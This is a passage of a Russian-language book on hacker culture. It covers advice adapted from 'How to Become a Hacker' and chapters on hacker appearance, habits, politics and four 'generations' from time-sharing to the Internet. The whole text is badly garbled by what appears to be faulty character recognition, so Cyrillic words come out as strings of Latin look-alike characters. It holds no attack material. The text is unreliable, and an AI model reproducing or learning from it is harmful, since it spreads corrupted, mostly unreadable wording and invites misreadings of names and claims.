CTBEHHO OcCJIabeBlIMe, HO BCE €llleé MOIIHbIE), He OOMyCKAaloIlue, YTOObI
Ybe-TO 30 WM BHEILIHee MpU3HaHWE BOOOIIEe MOMIU Obl ObITh MOTUBALIME
TS XaKepa.

B yactHoctn, XakepiaaHOusI — 3TO TO, YTO AHTPOMOJIOTA MMEHYIOT
«KYyJBTypOii mapoB». BBl 3apabaThIiBaeTe cTaTyC W peIyTalldio He TeM, UTO Py-
KOBOJIWTE APYTMMHU JIFOAbMH, M HE TEM, UTO IIPEKPACHEI, U HE TEM, YTO MEeTe
BEIII, KOTOPKIC SIBJISTIOTCS IIPEAMETOM BOXAeAeHUs Apyrux. Ho ckopee teMm,
YTO pasmaeTe BellM. B wacTHOCTH, ogapuBas CBOMM BpeMEHEM, CBOUM Mac-
TePCTBOM U pe3yJbTaTaMU CBOETO TBOPUYECTRA.

EcTb MSITh OCHOBHBIX TUIIOB Bellleli, KOTOPbIE Bl MOXETE JeJ1aTh, YTO-
OBl Bac yBaxkajiy XaKephbl:

* [Tuirre nporpaMmbl C OTKPBITBIM MCXOOHBIM KOJOM.

IMepBoe (camoe TIaBHOE M caMOe TPaIUIIMOHHOE) — 3TO MHUCATh MPO-
IrpaMMBI, KOTOPBIE IPYTUe XaKephbl CYNTAIOT 3a0aBHBIMU WJIU TIOJIE3HBIMU, U
paszmaBaThb UCXOIHBIE KOIBI ITPOTpaMM IS MCIIOJb30BaHUST BCEM XaKepCKOM

KYJIbTYpOIi.

MbI IpUBBIKJIM Ha3bIBaTh TaKyl0 pabOTy «CBOOOIHO-AOCTYITHBIM IIPO-
rpaMMHbBIM obecrieueHueM» (free software), HO 3TO IIpUBEJIO B 3aMelliaTelb-
CTBO OYeHb MHOTMX JIIO/Ieil, TOUHO HEe MTOHMMABIIUX, YTO MOAPA3YyMEBAIOCH
MO/ CJIOBOM «CBOOOJHO-IOCTYMHOE». Temepb sl TaKOro MpOrpaMMHOIO
obecreyeHus] MHOTME M3 Hac MPEANOYMTAIOT MCIONb30BaTh TEPMUH «C OT-
KPBITBIM UCXOAHBIM KOJOM», UJIM «Open-source software».

Haubonee nountaeMblie nonydoru XakepjiaHauu — 3TO JIIOJU, KOTO-
pble Hamuvcaau OOJbIIME U TAJaHTIMBBIC MPOTPAaMMBbI, OTBEYAIOIINE CaMbIM
IIUPOKKM TTOTPEOHOCTSIM, U KOTOPBIE pa3iajii UX BCEM, TaK UYTO KaXKIIblii Te-
Tepb UX UCTIOJIb3YET.

* ITomoraiite TeCTUPOBATh U OTIAKMUBATH TPOTPAMMBI
C OTKPBITBIM UCXOIHBIM KOJIOM.

ITourTaeMbl TaKXe T€, KTO TECTUPYET M OTJIAKMBAET IIPOrPaMMBI C OT-
KDPBITBIM KOJIOM. B 3TOM HecoBepIlleHHOM MUpE Mbl HEM30€KHO 3aTpaurBaeM
camyIo OOJIBIIYIO YaCTh BPEMEHHU pa3pabOTKH MporpaMMbl Ha ¢asy OTIamKu.
HMMeHHO TI03TOMY JTF000 AyMAaONIUii aBTOP MPOTPaMM C OTKPBITBIM KOIOM
CKaXeT BaM, 4TO Xopollue GeTa-TecTephl (3HAMOINME, KaK BHITHO OINUCATh
CHMIITOMBI, XOPOIIO JOKAJU3YIOIIUEe MpoOJIeMbl, CIIOCOOHBIC HMCIIPABISTH
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OTeYaTK! U TIPUMEHSIONINE HECKOJIBKO IIPOCThIX TUATHOCTHYESCKUX TTOIITPO-
rpaMM) IICHSITCSI Ha BeC 30JI0Ta. Bcero omuH Takoi YeJIOBEK MOXKET IpeBpa-
TUTH (ha3y OTJIAIKH M3 3aTTHYTOrO M3HYPSIOIIETO KOIIMapa B IIPOCTO IOJIe3-
HYIO 3aICPXKKY.

Eciau BbI HOBMYOK, TO TMOMBITATECh HAWTU pa3padaThiBaeMylo TpO-
rpamMmy, KOTopasi BaM MUHTepeCHa, U CTaHbTe XOpolluM Oeta-tectepom. Cyie-
CTBYET BITOJIHE €CTECTBEHHBIN IMyTh MPOABUXKEHMS OT TIOMOIIM B TECTUPOBA-
HUM TIporpaMM K TMOMOIINM B WX OTJajgKe M Jajgee, K MOMOIIM B HUX
Moaupukaiuy. Bel MHOroMy HayuMTech TaKMM CITOCOOOM M MOPOAUTE 100-
pPYI0 KapMy B OTHOUIIEHMSIX C JIFOIbMU, KOTOPbIE TTOMOTYT BaM BIMOCJICACTBUM.

* [1yGaukyiiTe 1moje3Hyo HHGOPMAaLUIO.

E1iie oqHa Xxopolas Belllb — OTOMPaTh M HAKATUIMBATD MOJIE3HYIO U MH-
TepecHylo nHdopMmaluio Ha Web-cTpaHuuax mind aokymeHTtax tuna YaBO
(FAQ, unu «gacto 3amaBaeMble BOIIPOCHI U OTBEThI») U JejaTh UX 00ILea0-
CTYITHBIMU.

Benymue ocHoBHBIX TexHndecknx YaBO moutu cTosb Xe yBaXkaeMbl,
KaK ¥ aBTOPBI IIPOTPAMM C OTKPBITBIM UCXOIHBIM KOJOM.

* IloMoralite nomaepkuBaTh pabOTy UHOPACTPYKTYPHI.

Xakepckasi KyJabTypa (M MHXeHepHasi pa3paboTka Internet, K cioBy
cKa3aTbh) OCHOBaHa Ha Ho6poBojblax. MMeeTcs Macca HEOOXOIMMOM, HO He
0c000 3P PeKTHOI PabOThI, KOTOPYIO HYXKHO HeiaTh, YTOOBI MOIACPKMUBATh
Mpoliecc: aAMUHUCTPUPOBAHNE PACCHIIOYHBIX JINCTOB, MOAEpUPOBAHNE HO-
BOCTHBIX TPYIIIN, YIpaBJieHHe OOJIbIIMMU apXHUBaMU TIPOrpaMMHOTo obecrre-
yeHwus1, pazpaborka RFC 1 npyrux TeXHuuecKux cTaHIapToB.

Jlrogu, xopolllo Aenaiolye TaKOro poaa Belly, ITTyOOKO YBaKaeMBI,
IMOCKOJIbKY KaXXZIbIil 3HAET, YTO MOM00HAs paboTa TpeOyeT Kydy BpeMEeHU U He
Tak 3a0aBHa, KaK UTPHI C KOJAaMU. DTa paboTa CBUIETEIbCTBYET O CAMOOTBEP-
JKEHHOCTH.

* CiyXuTe caMoil XakepCKOi KyJIbType.

Haxkowel, Bl MOXeTe CIIyXXUTb U PacCIpOCTPAHSATh caMy KyJIbTypy (Ha-
MpUMEp, COCTAaBJIsISI CKPYIYJIE3HOE PYKOBOJACTBO «KaK CTaTh Xakepom»). Ho
STUM HE CTOUT 3aHUMAThCS 10 TEX MOP, NTOKa Bbl HE TIOBAPUTECH B 3TOM J10CTa-
TOYHOE BPEMSI U HE CTAHETE XOPOUIO U3BECTHBI Oy1arofapsi OAHOM U3 UEThIpEX
TEPBBIX BEIIEH.

B xakepckoii KyJbType HEeT SIBHBIX JIMIEPOB, HO 3[€Ch €CThb «KYJIbTYp-
HbIE TepOou», «IUIEMEHHBIE CTapeUIINHbI», UCTOPUKU U opaTophl. Korma Bbl
JIOCTaTOYHO JOJITO MTOKUBETE B 3TUX TPAHIIIESIX, TO CMOXETe BbIpACTU B OHO-
ro U3 TaKUX JIOJEH.
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Ho octeperaiitech: Xakepbl HACTOPOKEHHO OTHOCSITCST K CBOMM KPHK-
JIUBBIM IIJIEMEHHBIM CTapeillliMHaM, TaK 4TO BUAMMOE HOCTHXEHUE TAKOro
pola claBbl TaWT B cebe OMacHOCTb. BMecTO TOro, 4ToOBI CTPEMUTHCS K
3TOMY, BaM JIydllle Kak Obl He 3a00TUThCS 00 3TOM, U TOTIA 3TO CaMO yIaiaeT
Ha KOJICHHM, a YK 3aTeM MOXHO OBITh CKPOMHBIM U MIJIOCTUBBIM B CBOEM CTa-
Tyce.

AnaBa 5.
CBS3b MEeXXAY XAKepOM U NMPUAYPKOM

Bomnpeku pacxoxkemy mugy, BaM He 00s13aTEIbHO OBITH IIPUAYPKOM,
YTOOBI OBITH XaKePOM. DTO, OJHAKO, TIOMOTAeT, 1 MHOTHE XaKephl ACHCTBH-
TETBHO «IPUIypKU». CTaTyc U3rosi OOIIeCTBa ITOMOTAaeT BaM OCTaBaThCs CO-
CPEeIOTOYCHHBIMU Ha JACMCTBUTEILHO BaXKHBIX BelllaX, TAKUX KaK pa3MbIIILIe-
HUS U XaKePCTBO.

HMIMeHHO 10 3TOi MPUYMHE MHOTHE XaKepbl HOCST SIPJBIK «ITPUILYPOK»
U Jaxe UCIOJIb3YIOT B KaueCTBe 3HaKa 1001eCTU OoJiee rpyOblid TEPMUH «Kpe-
TUH» — 3TO UX CIOCO0 AeKIapaluy CBOoel He3aBUCMMOCTH OT OOILIETTPUHSITBIX
B 00111€CTBE OLICHOK.

Ecnu BbI CTOCOOHBI B TOCTATOYHOM CTEIIEHU COCPEIOTOYNTRLCS Ha Xa-
KepCTBe, JOCTUTATD 3[eCh 3aMETHBIX PE3YJbTATOB 1 MTPU 5TOM MMETh JTUUHYIO
KU3Hb — 4YTO X, MpekpacHo. CerogHsi 3T0 HamMHOro Jerde. KyiabTypHbIi
MEWHCTPUM CTaJl Telepb HAMHOTO JIpYXeTio0Hee K TeXHO-TIpuaypkaMm. EcTb
Jaxe pacTyllee KOJMIeCTBO JIIoei, 0GHApYKMBAIOIIUX, YTO XaKePhl 3a4ac-
TYIO MOTYT OBITH BITOJIHE Ka4e€CTBEHHBIMM JTIOOOBHUKAMU U CYTIPyTraMHu.

Ecnm xxe Bac Bie4eT K XaKepCTBY 110 TOM MPUUYMHE, YTO Y BAC HET JINY-
HOI XM3HU, 9TO X, W 3TO Hertoxo. I1o kpaiiHeit Mepe, y Bac He OyaeT Ipo-
O1eM c cyOonmMmanueid. A JUYHas XXKU3Hb — KakK 3HaTh, MOXET, OHA MPUIET
TTO3Xe.

fanaBa 6.
YepTbl 06pA30 XXU3HU

HTak, yToOBI OBITH XaKepOM, BbI IOJKHBI 00peCTH MUPOBO33PEHUE Xa-
kepa. EcTb HECKOJIbKO Belliei, KOTOpbIe MOTYT IIOMOYb B T€ MOMEHTHI, KOTJa
BbI HE HAXOAUTECH PSIIOM C KOMITbIoTepoM. OHU HE 3aMEHSIIOT XaKepCTBO (ero
HUYTO HE 3aMEHUT), HO MHOTHE XaKepbl UMW 3aHUMAIOTCS U, 110 UX OLLYIIe-
HUSIM, 3TO Ha KaKOM-TO (hPyHIaMEHTaJIbHOM YPOBHE OOBEAMHSIET UX C CYThIO
XaKepcTBa.
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YuraiiTe HayuyHyIO (paHTaCTUKY. XOAMTE HA BCTPEUU JiroouTesieii phaH-
TACTUKU (3TO XOPOIIUIA COCOO MO3HAKOMUTBCS C XaKepaMU U «IIPOTO-XaKe-
paMu»).

M3yuaiite JI33H-0ynau3m 1/ BOCTOUHbIE MCcKyccTBa 00s1. (Mx MeH-
TaJbHas TUCUUTUIMHA UMEET, MTOX0XE, BAXKHBIC YEPTHI CXO/ICTBA).

BripabatbiBaiiTe B ceOe aHAIMTUUECKUM MYy3bIKaJIbHBIN CIyX. YUuTeCh
MOHMMATh crieluduUeckre BUIbl My3bIKM. YUYUTECh HEIJIOXO UTpaTh Ha Ka-
KOM-HUOYIb My3bIKaJJbHOM MHCTPYMEHTE UJIU TPAMOTHO TIETh.

BripabaTbiBaiiTe B cebe MOHMMaHWE KaaaMOypoB U UTP B CJIOBA.

Yaurech XOopomo mnmucatb Ha CBOEM POAHOM A3bIKE. (YI[I/IBI/ITCJIBHO,
MHOTHUEC U3 XaKEPOB ABJIAIOTCA Ka4YCCTBECHHBIMUA HI/IC&T@JIHMI/I.)

YeM Goibliie U3 ITUX BElLIEH BbI yKe AeslaeTe, TeM 00JIblie BEpOSITHOCTh
TOTO, UTO BHI IIpEACTaBIIsIeTe COOOI MPUPOAHBII XakepcKuii MaTepuas. [loye-
My MEPEYUCIeHbl UMEHHO 3TU BEIIM — HE BIOJIHE SICHO, HO OHU CBSI3aHBI CO
CMEIIIMBaHMEM HAaBBIKOB JIEBOTO W MPABOro MOJYILIApWA MO3ra, a 3TO Mpef-
CTaBJIIETCS BaXHBIM (11 XaKepoB HEOOXOAMMO yMETh KaK BbICTpaUBaTh
CTpOiiHbIE JIoTUYecKre 0OOOCHOBAHMS, TaK U BPEeMsl OT BPEMEHHU OLICHUBAaTh
po0JieMy BHE CBSI3U C OU€BUIHOM JIOTUKOIA).

WM, HaKOHell, HECKOJIBKO BElleil, KOTOPHIE [IE/IaTh HE CJIEAYET.

* He vcnonb3yiite Tiynblie U HaNbIIIEHHbIE MTOJIh30BaTeIbCKIE
MMeHa WY KITMIKH.

* He Bomnexaiitech B cBaphsl u nepedpanku B Usenet (i
rae-uoo emie).

* He HasbiBaiiTe cebst «<knubep-naHKOM» U HE TPAaTbTe CBOE BpeMs
Ha TeX, KTO 3TO JEJIaeT.

* He ornpapnsiite nucbMa UK 2J1EKTPOHHYIO MOYTY,
TepernoJIHEHHbIE OIITMOKAMM MTPaBOIMCAHMSI.

EnuvHcTBeHHas pernyTalusi, KOTOPYIO Bbl cebe co31aauTe, 3aHUMasICh
9TUMHU BelllaMU, — ITO MOCMENIUIIIE. Y XaKepoB JJIMHHAS MaMsITh, U BAM MO-
I'YT OHAIO0OUTHCS TOJbl )KU3HU, UTOOBI 00 3TOM 3a0bUIH.

AaBsa 7.
Cy6KyAbBTYPO XOKepOoB

HenaBHo cdhopMmupoBaBiIasicsl CyOKYJIbTypa XaKepoB SIBISIETCS 10-
BOJIBHO CBO€0OPAa3HBIM COLIMAIbHEIM 00pa30BaHUEM.
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CaM TepMHUH «XaKep» MMeeT aMepuKaHCcKre KopHU. Ero pa3BuTye mpo-
CJIeXKMBAETCST ¢ KOHIIa 60-X TOIOB 10 HAIIIETO BPEMEHM U TTPOVCXOIUT, B OTIpe-
JIEJICHHOM CMBICJTE, OT IBYKeHUS XUy, Ho, MexXmIy TeM, TaKylo CyOKyJIbTY-
Py HeJb3sl ONpPENeTUTh HU KaK OOIIMHY, HU KaK IOJUTHYECKOe OO
PETUTHO3HOE TBUXKECHHME.

DKCTepHaAIbHAsS KYJbTYypa XaKepoB aKKyMYJIMpYeT B cebe onpee/ieH-
HBIE HOPMBI ¥ CUMBOJTHKY.

BHeLUHU BUA U COCTABASIIOLLME...

B maHe oGiivKa M MaHephl MTOBEICHMS HAIIW TePOU He MPUBJICKAIOT
K cebe BHMMaHUsA. JIITMHHOBOJIOCHIE WHTETUTEHTHO-UHTEHCUBHBIE, OTBJIE-
YeHHBIE W HE BCeTna aKKypaTHBIE MOJIONbIC JIIOAW, YUTAlolIne «Analogy,
«Scientific American» u «Smithsonian», OHM He YMTAIOT XKypHaJI «XaKep» — Ta-
KOE JIETCTBO COBCEM He JIsT HuX. J{Mara3oH moTpedasieMoit TuTepaTyphl 9acTo
VAWBIISIET TIOCTOPOHHETO HAOJIOMATe s, TAK KaK MHOTHE XaKePhl MOCBSIIAIOT
YTEHUIO CTOJbKO K€ BPEMEHM, CKOJBKO CPEIHUN aMeprKaHell MOCBAIIACT
CBoeMy TesieBU30py. YacTo ux joMa 3a0UTHI 3a4UTAHHOM IO ABIP JTUTepaTypoit
10 caMbIM Pa3HOOOPa3HBIM HAIIPaBJICHUSIM, CPeIN KOTOPHIX, TOMUMO TE€XHU-
YEeCKMX, PUCYTCTBYET HaydHasl (paHTaCTHKA M IIIaXMaTHasl TeMaTHKa.

B ene yacto nmpeAnoynTaloT YTO-HUOYIb BOCTOUHOE — KHUTalCKOe, Ha-
npuMep. TaiicKas MUIIA MOIB3YeTCsl TIOTPSICAIOIIEH TTOMYISAPHOCTBIO, KaK 1
eBpelickue nenukatechl. CylecCTBEHHOE MEHBIIMHCTBO CpelHe- W I0ro-3a-
MaIHbIX XaKepOB MPEAMOYNTAIOT MEKCMKAHCKYIO KyXHI0. JIJIsI HOUHOM paboThI
TOASTCS KaK OTpOMHasl TIUIIIA, TaK U He MEHBIINX Pa3MepPOB TepMOC ¢ Kode.

IMonmuTryeckue B3IJISIBI HE TTOPaXaloT pa3HOOOpa3ueM — XaKephl He-
CKOJIBKO CJI€Ba OT LIEHTPA, 32 UCKITIOYCHUEM MOIITHOTO KOHTUHIE€HTA BOJIBHO-
IYMIIEB, TIOJTHOCTBIO OTBEPraloNIMX OOBIKHOBEHHOE pa3ieicHHe Ha JIEBBIX U
npaBbIX. KOHEUHO, Cpenn XaKepoB Mpeob1aaaroT MOJIOIBIC JTFOI, HO IIPOIOP-
LIMsI TIPEICTABUTEIbHUIL TPEKPACHOTO T10J1a BBIIIE, YeM B APYTUX TEXHUUECKHUX
npodeccusix. Xakepbl Kak COLMabHAs TPYIIa HACTOJIBKO K€ Pa3InIaroTCsI
IIBETOM KOXM M HAIIMOHAJIHOCTBIO, KaK ¥ MHBIE TPYITITHI, IIO3TOMY BCE paco-
BBIE TIPEIPACCYIKHN BCTPEYAIOTCST KpaifHe ! BpaXKaeOGHOCTHIO.

BepOI/ICHOBCI[aHI/IC JOCTUTACT TUTAHTCKOT'O ]:)3361)003 — OT aTcucTa 10
HCPETUBOTO NYACA U HCOA3bIYHUKA. OueHb YacTO HECKOJIBKO peJINTUIA Haxo-
JAT CBOCTO MOYUTATEIIA B IMIIC OAHOI'O YEJIOBCKA.

Kpome Toro, Ha MHOTUX XaKepoB OKa3bIBaeT BJIUSHUE OYyIAU3M WM,
peXe, TA0OM3M U UX CMECH C «POJHON» pEJIMTUEH.

B 00llleHMU HaIlM repou MPEANOYUTAIOT 3JEKTPOHHYIO TOYTY, MMO-
CKOJIBKY CBOOOIa, Pa3HOOOpAa3re U BIOXHOBEHHE MPUXOAUT K HUM IEPEI MO-
HUTOPOM.
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BOHpeKI/I CTEPCOTHUITY, XaKE€Pbl HC OTPAaHNYMBAIOTCA Y3KMMU MHTCJIJICK-
TyaJbHBIMHU paMKaMM U MbITAIOTCA MHTEPECOBATHCA BCEM, UTO CHOCO6CTByeT
YMCTBEHHOM CTUMYJISILIMU, 3a4aCTYIO TTOJIOJTY 6CCC,I[YH Ha pa3HbIC OTBJICUCH-
Hble TeMbl. B IIPUHIMIIC, MOXKHO 3aCTaBUTb XaK€pa rOBOPUTH O YEM YIrOJHO,
€CJIM, KOHEYHO, yaaCTCsda OTOpBaAThb €Iro OT KOMITIBIOTEPA. OpHako Y HUX HE BCC-
raa pa3BuTa CMOCOOHOCTh K COLMAIbHBIM KOHTAaKTaM, IOPUCYTCTBYIOT 00J1b-
IMe HEAOCTAaTKM B YMCHUU 0011aThCS, OHU TOABCP2KCHBI IICUXOJIOTUYECKOMY
JIABJICHUIO, B TTIOJABJISIONIEN MacCe HEOPTAHU30BAHHbBI U HEPSILILJIUBBI B ob1e-
HHUM C BHCILIHUM MUPOM.

NcTopnsa BOSHUKHOBEHMUS. ..

IlepBBIMU B psioy MpeacTaBUTeNeil CyOKyIbTYphl XaKepoB ObLIM MOJIO-
IIbIe JIIOAY B Bo3pacTte oT 16 mo 22 jieT, Tak Ha3blBaeMble THHIMIKEPHI, CAMO-
BBIPXXEHHUE KOTOPBIX MPOUCXOINIIO MOCPEACTBOM UCIONb30BaAHUSI KOMITbIO-
TEPHBIX TexHoJioruii. Takoe yBilieuyeHMe, KaK IMpaBujiIo, CO3MaeT ocoboe
MCUXOJIOTUYECKOE BOCIPUSTHE, KOTOPOE OIpenessieT NalbHeHIIni CTUIIb
JKU3HU, COXPAHSISICH TOBOJILHO MPOAOIKUTEIBHOE BPEeMS.

MHorue BHEIIHME TIPOSIBICHUS CJyKaT KakK Obl OIMO3HaBaTeJIbHBIMU
3HAaKaMU «CBOUX»: OOMJIUE Creln(pUKO-TEXHUUECKUX TEPMUHOB B Pa3roBope,
CBOOO/IHAsI MaHepa MOBEACHUSI, TPOCTOM, HEONPEASTICHHBI CTUIb OJIEKIIbI,
HeOpeskHas TTpryecka B JIOMOJHEHWE K HEBbIPA3UTEIbHOM BHEIIHOCTH, PIOK-
3aKM 3a CIIMHOW — CMMBOJIMKA MX BHelIHOCTU. ['padhmueckue 3HaKu B BUe
KaKWX-JI11M00 BBIIIUTHIX HA oflek1e (ppa3 Miu 3HAKOB, TTOOOHO XUIIIHU, BCTpe-
YaIOTCSl OYEHb PEIKO.

OpgHako «xakep» — 3TO JajJieKO He TOJbKO daHb Bo3pacty. Hapsimy
C OTUM, XaKep — 3TO CIEUUATIUCT, KOTOPBIM CTPEMUTCS TIPEXKIe BCero K 00-
IIEHUIO C APYTUMU TTOJIh30BaTEISIMU MH(MOPMAIIMOHHOTO COOOIIECTBA, K BbI-
PaXeHUIO CBOMX MBICJICH, UIeil B CBOOOMHOM, TBOPUYECKOM aTMocdepe.

Takue xakepbl co3naBaiu MporpaMMHoe obecriedeHue Tumna shareware
unu freeware, Kpunrorpaduyeckue CUCTeMbl Harogobue usBectHeiimeit PGP
(Pretty Good Privacy) — nmeruina mamuducra u3 boynaepa @ununna Lum-
MepMaHa, win HairymeBlieil nmporpaMmbl «SATAN» (ITO3BOJISIIONIEH BbISIB-
JIATb ABIPHI B 3aIIUTEe KOMIBIOTEPHBIX CUCTEM) — TBOPEHUS HEYXKMBUUBOTO
aHapxucrta [IsHa Papmepa, U Apyrue U300peTeHUs], KOTOPbIE IO3BOJISIOT
VMHBIM T10J1b30BaTeNISIM pPeajbHO O0JIajaTh HE3aBUCUMOCTBIO B KHUOEpIpo-
CTPaHCTBE, TBOPSI UCKYCCTBO U KpacoTy. MaKTUYEeCKU OHU UCITONb3YIOT CBOU
3HaHUS U CIIOCOOHOCTHY Ha 6J1aro Bcex nojb3oBateneit Internet — riobanbHO-
ro MH(GOPMAaIIMOHHOTO COODIIECTRA.

MHOXeCTBO JIIoAeH, TTPeI0OCTaBICHHBIX caMu cebe, (hOPMUPYIOT CXO-
K€ KOMMYHUKATUBHBIE CTPYKTYpHI. B CyOKyIbType XakepoB CKJIaIbIBalach
TpexcJIoiHash uepapxusi, Te JOBOJbHO OTHOCUTEIHLHO BhIpaXKeHa dJIUTa, CY-
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IIIECTBYET OCHOBHAS Macca IpeICTaBUTENeH CYOKYIbTYPhI, CTPYIITMPOBAHHAS
BOKPYT 3JIUTHI, a TAKXKE WHBIC CIYJIaliHbIC TIPEACTABUTEIN, KOTOPBIC B IPUH-
LIATIe HE CYUTAIOTCST HACTOSIIIIMMU XaKePaMHM, OCTaBasiCh B CTATyCe «JIAMEPOB».

MoxHo TOBOPUTb O HECKOJIbKUX <«IIOKOJICHUAX» XaKEPOB, KOTOPLIC
CIMoCcOOCTBOBAN TEXHOJIOTUYCCKOMY IIPOIpecCy B CUTY CBOEH AESATEIbHOCTH.

Ha HauanbHOM 3Tarie Takasi JesiTeIbHOCTh 3aKIioyaiach B Ipeoopa3o-
BaHUU OTPOMHBIX TI0 pa3MepaM KOMITbIOTEPOB MEPBBIX MOKOJEHUI ¢ UCTIOJb-
30BaHUEM TaK Ha3bIBAEMOW TEXHOJIOTMU IOCTYyMa «pa3lesieHUs] BPEMEHU»,
KOTOpasi 3aKJIo4yasach B CO3IaHUU HEKOTOPOTO MOA00Ms BUPTYaJIbHBIX Mep-
COHAJILHBIX KOMITbIOTEPOB. Kak ciencTBue 3Toro, BKJIalIoM BTOPOTO MOKOJIe-
HUSI XaKepOB SIBUJIOCH N300peTeHue B KOHIIE 70-X TOI0B IepCOHAaTbHBIX KOM-
nboTepoB. UIMEHHO B Te rojibl MOXHO ObLIO HabJ101aTh 60JIbIIOE KOJTUYECTBO
SIPKUX WHIMBUAYAJIBLHOCTEM B cpene XakepoB. BrIpa3uTebHBIM MPUMEPOM
MOXET CIIY>KUTb Xunmnu-outiaomad CtuB [xko0c, KOTOPEIA BMECTEe CO CBOUMU
npy3bsimu JIu @enbeeHiutaiinoM 1 CtuBoM Bo3HSIKOM cobupal U Heaoporo
MpoJaBaj MPUCIIOCODIEHHSI, C TIOMOIIIbIO KOTOPBIX JII0OOOI aMepruKaHell MOT
JIOJITO€ BpeMsI COBEPILIEHHO OEeCTIaTHO IKCIUIyaTHPOBaTh TeJIe(POHHYIO CETh
CIIA. Haubosiee MHTEpECHO, YTO BIIOCJIEACTBMU MMEHHO JIu n300pen mep-
BBIIi MOOMJIBHBINM MEPCOHANIBHBIN KOMITbIOTEp «OCcO0pH-I».

B nanbHeiinieM MHOTME MPEJACTaBUTENN TPETbEro MOKOJEHUS YCTpe-
MWJIKCh B MaJIblil OU3HEC, MPUHECS C cOOOIi, TOMUMO MTPOYEro, HOBYIO (ujo-
coduo 0oOIIEHMSI, MOCTPOSHHYI0 Ha MHOTUX TPAAUIIUSIX JBUXKEHUS XUIIIH.
OnHako ycrex B TaKOro poja HauMHAHUSIX HE COMPOBOXAAICS U3MEHEHUEM
ux ueHHocteil. UMeHHO TpeTbe MOKOJIeHUe XakepoB B Havyasle 80-x coznano
00JIbIII0E KOJIUYECTBO MPUKIAIHBIX TPOrpaMM JJIsi IEPCOHATBbHBIX KOMITbIO-
TEPOB, KOTOpbIe criocodbcTBOBaIM yerexy miatdopmel IBM. CoznaHHble uMu
OpraHM3aIuu, Takue Kak «DoHI 31eKTpOHHBIX pydexeii» (Electronic Frontier
Foundation), ocHoBaTejeM KOTOpPOTO SIBJISIETCSI HeOe3bI3BecTHbIM Muu Keii-
Mop — co3aaresib MomyiasipHoi mporpaMmbl «Lotus 1-2-3», U B Hacrosiee
BpPEMSI CEPbE3HO BIMSIOT HAa MOJUTUKY BammHrroHa B 061act coOM0aeHUS
rpaxKIaHCKUX MpaB B KNOEPNPOCTPAHCTBE.

YeTBepToe TMOKOJICHUE XaKepOB CO3AAJI0 TO, YTO TMPUHSITO TemNeph
Ha3bIBaTh MUPOBBIM COOOIIECTBOM, KMOEPIIPOCTPAHCTBOM MM Internet —
cpenoii oouTaHus 1 o01eHus Ij1s1 6osee yem 50 MIIToHOB YestoBeK. Ho, Ha-
psany ¢ Internet, MbI BUAMM U eIlle OAHO TeHUATbHOE U300peTeHNEe, MHTETPH-
pPOBaHHOE B 3TY Cpey, — CUCTEMY CEHCOPHOTO MOTPYKeHUS WU T.H. BUPTY-
aJbHYl0 pealbHOCTb, HayajbHBbIE OCHOBOTIOJATAIOIINE TPUHIIATIEL |
KOHIUEIIIMS KOTOPO# OB pa3pabOTaHbI e1lle OMHOM SIPKOI JIMUHOCTBIO TIep-
BOT'O TIOKOJIEHUST XakepoB — [[xkeiipoHoM JlaHbe.

Ha 6osiee paHHUX cTaausIX TPy MpeACTaBUTEs el YeTBEPTOTO MOKOJIe-
HUST XaKepPOB MOXHO ObLIO BUAETH B CO3IAHUN CUCTEM 3JEKTPOHHOI MOYTHI
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Ha ocHoBe BBS (Bulletin Board System — aiekTpoHHast 10CKa 00bsSIBJIEHUIA),
atakxe cetu USENET, coznanHoii B Hauase 80-x (ot User's Network — ceTb
MoJIb30BaTeNieil) AByMsl CTyIE€HTaMM-BbIITYCKHUMKaAMU YHUBepcuTeTa JIbIOK
xumom DinconHoM u Tomom Tpackortom. IMEHHO B OCHOBE 3TOil ceTu
BIOCJIEACTBUY OYEHb TOUHO ObLI chOPMYIMPOBAH BEUHBII TPUHLIMIT BCEX MO-
KOJICHUI XaKepoB: yyacTBOBaTh Moxet to6oii. [la u cama USENET moxeTt
CUMTATbCS STAIOHOM B TUIaHE CBOEH CTPYKTYPhl — IMOJHAs AeUEHTpaIU3alusl,
OTCYTCTBUE UEPAPXUM, CAMOOPTAaHU3ALMSI U PE3KOE OTPULIAHUE JTI0O0r0 KOM-
MEPUYECKOTo UCIOIb30BaHUsI. IMEHHO 3TH MPUHLIMITBI ObUIM MHTETPUPOBAHbI
KYJbTYPOIi XUIINU B IBMKEHWE XakepoB. 1 UMEHHO YyeTBepTOe MOKOJIEHUE Xa-
KEepOB aKTUBHO MPOTHBOCTOUT KOMMEpPCATU3AIIMU U Y3ypralluu KaKUMU -1 -
00 rocynapCTBEHHbIMU OpPraHaMU PETMOHATbHBIX M OMOPHBIX BBICOKOCKO-
POCTHBIX KOMMYHMKAIIMOHHBIX Marucrtpaieil Internet, pyKoBOACTBYsSICb
MPpaBoOM BCEOOIIEH JOCTYITHOCTY U OECTIIaTHOCTH WHGOPMALIUH.

fAnaBa 8.
MpecTyNHMKN AU POMOHTUKN?

Poccus Bcerma cinaBuiachk TananTamu. He 0060110 3TO 1 KOMITBIOTEP-
Hyto cdepy. Kak BBl 3HaeTe, KOMIBIOTEPHI TOJIHKO HEIABHO BOIILIM B HaIIy
JKU3Hb, HAMHOTO T03Xe, YeM BO BceM Mupe. Ho 3To He cTaio mperpamoii s
poccuiickoro yenoBeka. [ToSIBUIIOCH OTPOMHOE YKCJIO TTPOTPaAMMUCTOB, CITO-
COOHBIX TOMEPSITHCS CUJIAMM C 3alTaJJHBIMU accaMi. MHOTHe U3 HUX YeXaJli 3a
pyoex 1 ceifyac yCIeIrHo paboTaloT B caMbIX KPYITHBIX CODTBEPHBIX KOMITa-
HuAX. BomHa HemoGenuMbIX Poccriickux KOMITBIOTEPHBIX BUPYCOB TEperio-
JIOIIWJIa BCe MUPOBOE coobirecTBo. OmATh ke Poccuiickre mporpaMMuCTI
Hay4YMJIUCh JIydllle BceX O0OPOThes ¢ 3TUMU Bupycamu. U Bot B Poccuto mipu-
men «Internet>. MHorMe 3armagHble aHATUTUKU C MCITYTOM OXWIAIU 3TOTO
dakra. 1 xHe ommbancey. Poccuiickue TaaaHTBI ITOTPY3UINCH B 0€3rpaHNIHYIO
nmayTuHy Internet.

IMosBunucey poccuiickue «Xakepbl». He myraiitech 3Toro ciona,
B OOJIBIIIMHCTBE CBOEM OHO HE HOCUT KPUMUHATBHOTO XapakTepa — OCHOB-
HOI1 JIO3YHT XaKepPCKOTo ABMXEeHUsI — «MH(opmaLust 1oKHa ObITh Gecruiar-
HOI ¥ OO1LIE0CTYTHOI», KOHEYHO, HEe BCE COTJIAIIaloTCsl C 3TUM ITPUHIIMIIOM,
